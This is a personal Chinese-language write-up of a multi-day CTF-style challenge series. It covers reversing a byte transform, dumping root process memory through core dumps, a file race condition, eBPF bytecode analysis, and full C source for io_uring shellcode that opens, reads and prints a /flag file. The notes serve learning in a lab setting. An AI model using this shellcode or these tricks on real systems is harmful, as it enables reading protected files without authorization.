- day 1: check-list
- day 2: coal
- day 3: race condition
- day 4: ebpf
- day 5: io_uring
- day 6: 区块链
- day 7:web
- day 8:compiler
- day 9:
- day 10:
- day 11:
- day 12:
- 小结
day 1: check-list
超长汇编构成一个函数执行(ida无法反编译),函数读取256字节输入,经过变换后,得到的输出与结果比较,正确就输出flag
经过分析256个字节的变换是以一个字节为单位的(其字节A和字节B的变换没有相关性)的线性函数(只有add和sub两个汇编指令):yi = xi + bi
解题思路是:
1. 输入全为0,得到256个线性函数 yi = xi +bi 中的bi数组
2. ida脚本提取 yi
3. xi = yi-bi
得到正确输入。
day 2: coal
根据题目的意思:可能某些命令的组合条件能够dump出内存,即普通用户能够dump出root用户进程的内存。
相关环境的命令:
nice(1), core(5), elf(5), pty(7), signal(7)
设置ulimit -c unlimited后,执行程序然后ctrl+\dump出内存即可。
切换到练习模式获得root,改文件权限然后看内存即可~
day 3: race condition
条件竞争,在改权限前先以只读模式打开文件即可。
exec 3</stocking
nice -n 2 sleep 2
cat <&3
day 4: ebpf
是个跟ebpf有关的题目。
用户态的程序northhole在ebpf中加载了tracker.bpf.o的ebpf字节码。
并时刻检查tracker.bpf.o中的某个字段是否为1,是1则打印flag,不是则循环等待。
所以关键还是要看bpf.o中的ebpf字节码的逻辑。
简单介绍下ebpf,总之ebpf机制允许用户通过bpf系统调用,向内核注入ebpf字节码,再通过kprobe机制,在内核执行某个函数(比如这道题目的linkat系统调用)时,先进入用户的ebpf代码逻辑,再执行原有函数linkat。
一文看懂eBPF、eBPF的使用(超详细)
linux 内核调试工具 kprobe
# llvm-objdump -S --no-show-raw-insn /challenge/tracker.bpf.o
# bpf常见约定:
# r1:kprobe 的上下文,一般是 struct pt_regs *.
# r10:栈指针(frame pointer),栈向下增长,比如 r10 - 0x10。
# call 0x1:基本可以认作 bpf_map_lookup_elem(...)。
# call 0x2:bpf_map_update_elem(...)。
# call 0x71/0x72:是某种 bpf_probe_read_*/bpf_probe_read_*_str,从内核/用户内存里把指针或字符串拷到栈上
/challenge/tracker.bpf.o: file format elf64-bpf
Disassembly of section kprobe/__x64_sys_linkat:
0000000000000000 <handle_do_linkat>:
0: r6 = *(u64 *)(r1 + 0x70)
1: r1 = 0x0
2: *(u64 *)(r10 - 0x30) = r1
3: *(u64 *)(r10 - 0x38) = r1
4: if r6 == 0x0 goto +0x10e <handle_do_linkat+0x898>
5: r3 = r6
6: r3 += 0x68
7: r1 = r10
8: r1 += -0x30
9: r2 = 0x8
10: call 0x71
11: r6 += 0x38
12: r1 = r10
13: r1 += -0x38
14: r2 = 0x8
15: r3 = r6
16: call 0x71
17: r3 = *(u64 *)(r10 - 0x30)
18: if r3 == 0x0 goto +0x100 <handle_do_linkat+0x898>
19: r1 = *(u64 *)(r10 - 0x38)
20: if r1 == 0x0 goto +0xfe <handle_do_linkat+0x898>
21: r1 = r10
22: r1 += -0x28
23: r2 = 0x10
24: call 0x72
25: r0 <<= 0x20
26: r0 s>>= 0x20
27: r1 = 0x1
28: if r1 s> r0 goto +0xf6 <handle_do_linkat+0x898>
29: r3 = *(u64 *)(r10 - 0x30)
30: r1 = r10
31: r1 += -0x10
32: r2 = 0x10
33: call 0x72
34: r0 <<= 0x20
35: r0 >>= 0x20
36: if r0 != 0x7 goto +0xee <handle_do_linkat+0x898>
37: r1 = *(u8 *)(r10 - 0x10)
38: if r1 != 0x73 goto +0xec <handle_do_linkat+0x898>
39: r1 = *(u8 *)(r10 - 0xf)
40: if r1 != 0x6c goto +0xea <handle_do_linkat+0x898>
41: r1 = *(u8 *)(r10 - 0xe)
42: if r1 != 0x65 goto +0xe8 <handle_do_linkat+0x898>
43: r1 = *(u8 *)(r10 - 0xd)
44: if r1 != 0x69 goto +0xe6 <handle_do_linkat+0x898>
45: r1 = *(u8 *)(r10 - 0xc)
46: if r1 != 0x67 goto +0xe4 <handle_do_linkat+0x898>
47: r1 = *(u8 *)(r10 - 0xb)
48: if r1 != 0x68 goto +0xe2 <handle_do_linkat+0x898>
49: r3 = *(u64 *)(r10 - 0x38)
50: r1 = r10
51: r1 += -0x28
52: r2 = 0x10
53: call 0x72
54: r0 <<= 0x20
55: r0 s>>= 0x20
56: r1 = 0x1
57: if r1 s> r0 goto +0xd9 <handle_do_linkat+0x898>
58: r6 = *(u64 *)(r10 - 0x38)
59: r7 = 0x0
60: *(u32 *)(r10 - 0x14) = r7
61: r2 = r10
62: r2 += -0x14
63: r1 = 0x0 ll
65: call 0x1
66: if r0 == 0x0 goto +0x1 <handle_do_linkat+0x220>
67: r7 = *(u32 *)(r0 + 0x0)
68: r1 = r10
69: r1 += -0x10
70: r2 = 0x10
71: r3 = r6
72: call 0x72
73: r0 <<= 0x20
74: r0 >>= 0x20
75: if r0 != 0x7 goto +0xe <handle_do_linkat+0x2d0>
76: r1 = *(u8 *)(r10 - 0x10)
77: if r1 != 0x64 goto +0xc <handle_do_linkat+0x2d0>
78: r1 = *(u8 *)(r10 - 0xf)
79: if r1 != 0x61 goto +0xa <handle_do_linkat+0x2d0>
80: r1 = *(u8 *)(r10 - 0xe)
81: if r1 != 0x73 goto +0x8 <handle_do_linkat+0x2d0>
82: r1 = *(u8 *)(r10 - 0xd)
83: if r1 != 0x68 goto +0x6 <handle_do_linkat+0x2d0>
84: r1 = *(u8 *)(r10 - 0xc)
85: if r1 != 0x65 goto +0x4 <handle_do_linkat+0x2d0>
86: r1 = *(u8 *)(r10 - 0xb)
87: if r1 != 0x72 goto +0x2 <handle_do_linkat+0x2d0>
88: r1 = 0x1
89: goto +0xb0 <handle_do_linkat+0x850>
90: if r7 s> 0x3 goto +0x18 <handle_do_linkat+0x398>
91: if r7 == 0x1 goto +0x55 <handle_do_linkat+0x588>
92: if r7 == 0x2 goto +0x94 <handle_do_linkat+0x788>
93: if r7 == 0x3 goto +0x1 <handle_do_linkat+0x2f8>
94: goto +0xaa <handle_do_linkat+0x848>
95: r1 = r10
96: r1 += -0x10
97: r2 = 0x10
98: r3 = r6
99: call 0x72
100: r0 <<= 0x20
101: r0 >>= 0x20
102: if r0 != 0x6 goto +0xa2 <handle_do_linkat+0x848>
103: r1 = *(u8 *)(r10 - 0x10)
104: if r1 != 0x76 goto +0xa0 <handle_do_linkat+0x848>
105: r1 = *(u8 *)(r10 - 0xf)
106: if r1 != 0x69 goto +0x9e <handle_do_linkat+0x848>
107: r1 = *(u8 *)(r10 - 0xe)
108: if r1 != 0x78 goto +0x9c <handle_do_linkat+0x848>
109: r1 = *(u8 *)(r10 - 0xd)
110: if r1 != 0x65 goto +0x9a <handle_do_linkat+0x848>
111: r1 = *(u8 *)(r10 - 0xc)
112: if r1 != 0x6e goto +0x98 <handle_do_linkat+0x848>
113: r1 = 0x4
114: goto +0x97 <handle_do_linkat+0x850>
115: if r7 s> 0x5 goto +0x17 <handle_do_linkat+0x458>
116: if r7 == 0x4 goto +0x52 <handle_do_linkat+0x638>
117: if r7 == 0x5 goto +0x1 <handle_do_linkat+0x3b8>
118: goto +0x92 <handle_do_linkat+0x848>
119: r1 = r10
120: r1 += -0x10
121: r2 = 0x10
122: r3 = r6
123: call 0x72
124: r0 <<= 0x20
125: r0 >>= 0x20
126: if r0 != 0x6 goto +0x8a <handle_do_linkat+0x848>
127: r1 = *(u8 *)(r10 - 0x10)
128: if r1 != 0x63 goto +0x88 <handle_do_linkat+0x848>
129: r1 = *(u8 *)(r10 - 0xf)
130: if r1 != 0x75 goto +0x86 <handle_do_linkat+0x848>
131: r1 = *(u8 *)(r10 - 0xe)
132: if r1 != 0x70 goto +0x84 <handle_do_linkat+0x848>
133: r1 = *(u8 *)(r10 - 0xd)
134: if r1 != 0x69 goto +0x82 <handle_do_linkat+0x848>
135: r1 = *(u8 *)(r10 - 0xc)
136: if r1 != 0x64 goto +0x80 <handle_do_linkat+0x848>
137: r1 = 0x6
138: goto +0x7f <handle_do_linkat+0x850>
139: if r7 == 0x6 goto +0x4f <handle_do_linkat+0x6d8>
140: if r7 == 0x7 goto +0x1 <handle_do_linkat+0x470>
141: goto +0x7b <handle_do_linkat+0x848>
142: r1 = r10
143: r1 += -0x10
144: r2 = 0x10
145: r3 = r6
146: call 0x72
147: r0 <<= 0x20
148: r0 >>= 0x20
149: if r0 != 0x8 goto +0x73 <handle_do_linkat+0x848>
150: r1 = *(u8 *)(r10 - 0x10)
151: if r1 != 0x62 goto +0x71 <handle_do_linkat+0x848>
152: r1 = *(u8 *)(r10 - 0xf)
153: if r1 != 0x6c goto +0x6f <handle_do_linkat+0x848>
154: r1 = *(u8 *)(r10 - 0xe)
155: if r1 != 0x69 goto +0x6d <handle_do_linkat+0x848>
156: r1 = *(u8 *)(r10 - 0xd)
157: if r1 != 0x74 goto +0x6b <handle_do_linkat+0x848>
158: r1 = *(u8 *)(r10 - 0xc)
159: if r1 != 0x7a goto +0x69 <handle_do_linkat+0x848>
160: r1 = *(u8 *)(r10 - 0xb)
161: if r1 != 0x65 goto +0x67 <handle_do_linkat+0x848>
162: r1 = *(u8 *)(r10 - 0xa)
163: if r1 != 0x6e goto +0x65 <handle_do_linkat+0x848>
164: r1 = 0x8
165: *(u32 *)(r10 - 0x18) = r1
166: r1 = 0x1
167: *(u32 *)(r10 - 0x10) = r1
168: r2 = r10
169: r2 += -0x14
170: r3 = r10
171: r3 += -0x10
172: r1 = 0x0 ll
174: r4 = 0x0
175: call 0x2
176: goto +0x5a <handle_do_linkat+0x858>
177: r1 = r10
178: r1 += -0x10
179: r2 = 0x10
180: r3 = r6
181: call 0x72
182: r0 <<= 0x20
183: r0 >>= 0x20
184: if r0 != 0x7 goto +0x50 <handle_do_linkat+0x848>
185: r1 = *(u8 *)(r10 - 0x10)
186: if r1 != 0x64 goto +0x4e <handle_do_linkat+0x848>
187: r1 = *(u8 *)(r10 - 0xf)
188: if r1 != 0x61 goto +0x4c <handle_do_linkat+0x848>
189: r1 = *(u8 *)(r10 - 0xe)
190: if r1 != 0x6e goto +0x4a <handle_do_linkat+0x848>
191: r1 = *(u8 *)(r10 - 0xd)
192: if r1 != 0x63 goto +0x48 <handle_do_linkat+0x848>
193: r1 = *(u8 *)(r10 - 0xc)
194: if r1 != 0x65 goto +0x46 <handle_do_linkat+0x848>
195: r1 = *(u8 *)(r10 - 0xb)
196: if r1 != 0x72 goto +0x44 <handle_do_linkat+0x848>
197: r1 = 0x2
198: goto +0x43 <handle_do_linkat+0x850>
199: r1 = r10
200: r1 += -0x10
201: r2 = 0x10
202: r3 = r6
203: call 0x72
204: r0 <<= 0x20
205: r0 >>= 0x20
206: if r0 != 0x6 goto +0x3a <handle_do_linkat+0x848>
207: r1 = *(u8 *)(r10 - 0x10)
208: if r1 != 0x63 goto +0x38 <handle_do_linkat+0x848>
209: r1 = *(u8 *)(r10 - 0xf)
210: if r1 != 0x6f goto +0x36 <handle_do_linkat+0x848>
211: r1 = *(u8 *)(r10 - 0xe)
212: if r1 != 0x6d goto +0x34 <handle_do_linkat+0x848>
213: r1 = *(u8 *)(r10 - 0xd)
214: if r1 != 0x65 goto +0x32 <handle_do_linkat+0x848>
215: r1 = *(u8 *)(r10 - 0xc)
216: if r1 != 0x74 goto +0x30 <handle_do_linkat+0x848>
217: r1 = 0x5
218: goto +0x2f <handle_do_linkat+0x850>
219: r1 = r10
220: r1 += -0x10
221: r2 = 0x10
222: r3 = r6
223: call 0x72
224: r0 <<= 0x20
225: r0 >>= 0x20
226: if r0 != 0x7 goto +0x26 <handle_do_linkat+0x848>
227: r1 = *(u8 *)(r10 - 0x10)
228: if r1 != 0x64 goto +0x24 <handle_do_linkat+0x848>
229: r1 = *(u8 *)(r10 - 0xf)
230: if r1 != 0x6f goto +0x22 <handle_do_linkat+0x848>
231: r1 = *(u8 *)(r10 - 0xe)
232: if r1 != 0x6e goto +0x20 <handle_do_linkat+0x848>
233: r1 = *(u8 *)(r10 - 0xd)
234: if r1 != 0x6e goto +0x1e <handle_do_linkat+0x848>
235: r1 = *(u8 *)(r10 - 0xc)
236: if r1 != 0x65 goto +0x1c <handle_do_linkat+0x848>
237: r1 = *(u8 *)(r10 - 0xb)
238: if r1 != 0x72 goto +0x1a <handle_do_linkat+0x848>
239: r1 = 0x7
240: goto +0x19 <handle_do_linkat+0x850>
241: r1 = r10
242: r1 += -0x10
243: r2 = 0x10
244: r3 = r6
245: call 0x72
246: r0 <<= 0x20
247: r0 >>= 0x20
248: if r0 != 0x8 goto +0x10 <handle_do_linkat+0x848>
249: r1 = *(u8 *)(r10 - 0x10)
250: if r1 != 0x70 goto +0xe <handle_do_linkat+0x848>
251: r1 = *(u8 *)(r10 - 0xf)
252: if r1 != 0x72 goto +0xc <handle_do_linkat+0x848>
253: r1 = *(u8 *)(r10 - 0xe)
254: if r1 != 0x61 goto +0xa <handle_do_linkat+0x848>
255: r1 = *(u8 *)(r10 - 0xd)
256: if r1 != 0x6e goto +0x8 <handle_do_linkat+0x848>
257: r1 = *(u8 *)(r10 - 0xc)
258: if r1 != 0x63 goto +0x6 <handle_do_linkat+0x848>
259: r1 = *(u8 *)(r10 - 0xb)
260: if r1 != 0x65 goto +0x4 <handle_do_linkat+0x848>
261: r1 = *(u8 *)(r10 - 0xa)
262: if r1 != 0x72 goto +0x2 <handle_do_linkat+0x848>
263: r1 = 0x3
264: goto +0x1 <handle_do_linkat+0x850>
265: r1 = 0x0
266: *(u32 *)(r10 - 0x18) = r1
267: r2 = r10
268: r2 += -0x14
269: r3 = r10
270: r3 += -0x18
271: r1 = 0x0 ll
273: r4 = 0x0
274: call 0x2
275: r0 = 0x0
276: exit
经过chatgpt5.1的高贵分析,得知只要按照顺序linkat文件,就能完成解题
day 5: io_uring
最近io_uring系统调用受到了广泛关注,因为这个系统调用几乎可模拟任意的系统调用。
特别的,高版本 (Linux Kernel Version >= 6.5) 的io_uring中引入了IORING_SETUP_NO_MMAP标志,配合IORING_SETUP_SQPOLL可以一次syscall完成orw操作。十分的强力
但是现有资料,对于io_uring的IORING_SETUP_NO_MMAP的描述比较少,所以要从头开始写起,就很麻烦
//gcc -fcf-protection=none -masm=intel -static demo2.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/io_uring.h>
#include <linux/mman.h>
#include <linux/fs.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
/* 2 个参数:给 io_uring_setup 用 */
#define SYSCALL2(num, a1, a2) \
({ \
long _ret; \
register long _nr __asm__("rax") = (long)(num); \
register long _a1 __asm__("rdi") = (long)(a1); \
register long _a2 __asm__("rsi") = (long)(a2); \
__asm__ volatile ( \
"syscall" \
: "+r"(_nr) \
: "r"(_a1), "r"(_a2) \
: "rcx", "r11", "memory" \
); \
_ret = _nr; \
_ret; \
})
/* 6 个参数:给 io_uring_enter 用 */
#define SYSCALL6(num, a1,a2,a3,a4,a5,a6) \
({ \
long _ret; \
register long _nr __asm__("rax") = (long)(num); \
register long _a1 __asm__("rdi") = (long)(a1); \
register long _a2 __asm__("rsi") = (long)(a2); \
register long _a3 __asm__("rdx") = (long)(a3); \
register long _a4 __asm__("r10") = (long)(a4); \
register long _a5 __asm__("r8") = (long)(a5); \
register long _a6 __asm__("r9") = (long)(a6); \
__asm__ volatile ( \
"syscall" \
: "+r"(_nr) \
: "r"(_a1), "r"(_a2), "r"(_a3), \
"r"(_a4), "r"(_a5), "r"(_a6) \
: "rcx", "r11", "memory" \
); \
_ret = _nr; \
_ret; \
})
void __attribute__((noinline,no_stack_protector)) shellcode(){
char filename[8] = "/flag";
unsigned entries = 16;
unsigned char buffer[4096*2];
unsigned long long addr = (unsigned long long)buffer & (unsigned long long)(~0xfff);
//printf("%llx\n",addr);
void * sqes_base = addr;//sqes
struct io_uring_sqe * sqes = sqes_base;
void * ring_base = addr+4096;//ring: sq & cq
struct io_uring_params io_uring_params;
io_uring_params.flags = IORING_SETUP_NO_MMAP;
io_uring_params.sq_off.user_addr = sqes_base;
io_uring_params.cq_off.user_addr = ring_base;
//int io_uring_fd = syscall(SYS_io_uring_setup, entries, &io_uring_params);
int io_uring_fd= SYSCALL2(SYS_io_uring_setup, entries, &io_uring_params);
//printf("io_uring fd: %d\n",io_uring_fd);
//printf("sq_off_head: %x, sq_off_tail: %x. sq_off_array = %x\n",io_uring_params.sq_off.head,io_uring_params.sq_off.tail,io_uring_params.sq_off.array);
//printf("cq_off_head: %x, cq_off_tail: %x, cq_off_cqes = %x\n",io_uring_params.cq_off.head,io_uring_params.cq_off.tail,io_uring_params.cq_off.cqes);
// open file
long ret;
struct io_uring_sqe sqe ={0};
sqe.opcode = IORING_OP_OPENAT;
sqe.fd = AT_FDCWD;
sqe.addr = (unsigned long)filename;
sqe.len = 0; // mode(不用 O_CREAT)
sqe.open_flags = O_RDONLY;
sqes[0]= sqe; //push sqe into sqes
((int *)(ring_base+io_uring_params.sq_off.array))[0] = 0; //push sqes_index into sqe_array
(*(int*)(ring_base+io_uring_params.sq_off.tail))++;//mod tail
SYSCALL6(SYS_io_uring_enter,io_uring_fd,1,1,IORING_ENTER_GETEVENTS,NULL,0);
struct io_uring_cqe * cqe = (void *)(ring_base + io_uring_params.cq_off.cqes);
int open_fd = (int)cqe->res;
//printf("open fd: %d\n",open_fd);
(*(int *)(ring_base+io_uring_params.cq_off.head))++;
// read file
char flag[60];
struct io_uring_sqe sqe2 ={0};
sqe2.opcode = IORING_OP_READ;
sqe2.fd = open_fd;
sqe2.addr = (unsigned long)flag;
sqe2.len = 60;
sqe2.off = 0;
sqes[0]= sqe2; //push sqe into sqes
((int *)(ring_base+io_uring_params.sq_off.array))[0] = 0; //push sqes_index into sqe_array
(*(int*)(ring_base+io_uring_params.sq_off.tail))++;//mod tail
SYSCALL6(SYS_io_uring_enter,io_uring_fd,1,1,IORING_ENTER_GETEVENTS,NULL,0);
(*(int *)(ring_base+io_uring_params.cq_off.head))++;
//write file
struct io_uring_sqe sqe3 ={0};
sqe3.opcode = IORING_OP_WRITE;
sqe3.fd = STDOUT_FILENO;
sqe3.addr = (unsigned long)flag;
sqe3.len = 60;
sqe3.off = 0;
sqes[0]= sqe3; //push sqe into sqes
((int *)(ring_base+io_uring_params.sq_off.array))[0] = 0; //push sqes_index into sqe_array
(*(int*)(ring_base+io_uring_params.sq_off.tail))++;//mod tail
SYSCALL6(SYS_io_uring_enter,io_uring_fd,1,1,IORING_ENTER_GETEVENTS,NULL,0);
(*(int *)(ring_base+io_uring_params.cq_off.head))++;
}
int main(){
//printf("start execute!\n");
shellcode();
//printf("end execute!\n");
}
把shellcode函数dump出来用即可。
objdump -M intel -d --disassemble=shellcode a.out
# gdb
dump binary memory shellcode.bin xxx xxx
参考https://idocdown.com/app/articles/blogs/detail/10310
一文详细讲解 io_uring
I/O 模型演化: Linux 的 io_uring
day 6: 区块链
似乎是区块链的题目
先pass
day 7:web
是web的题目,pass
day 8:compiler
编译器题目
day 9:
pass
day 10:
pass
day 11:
pass
day 12:
pass
小结
题目比较简单,属于是教你知识点的,我觉得挺好。
可惜工作后真的没多少时间一个个看题了,有点遗憾。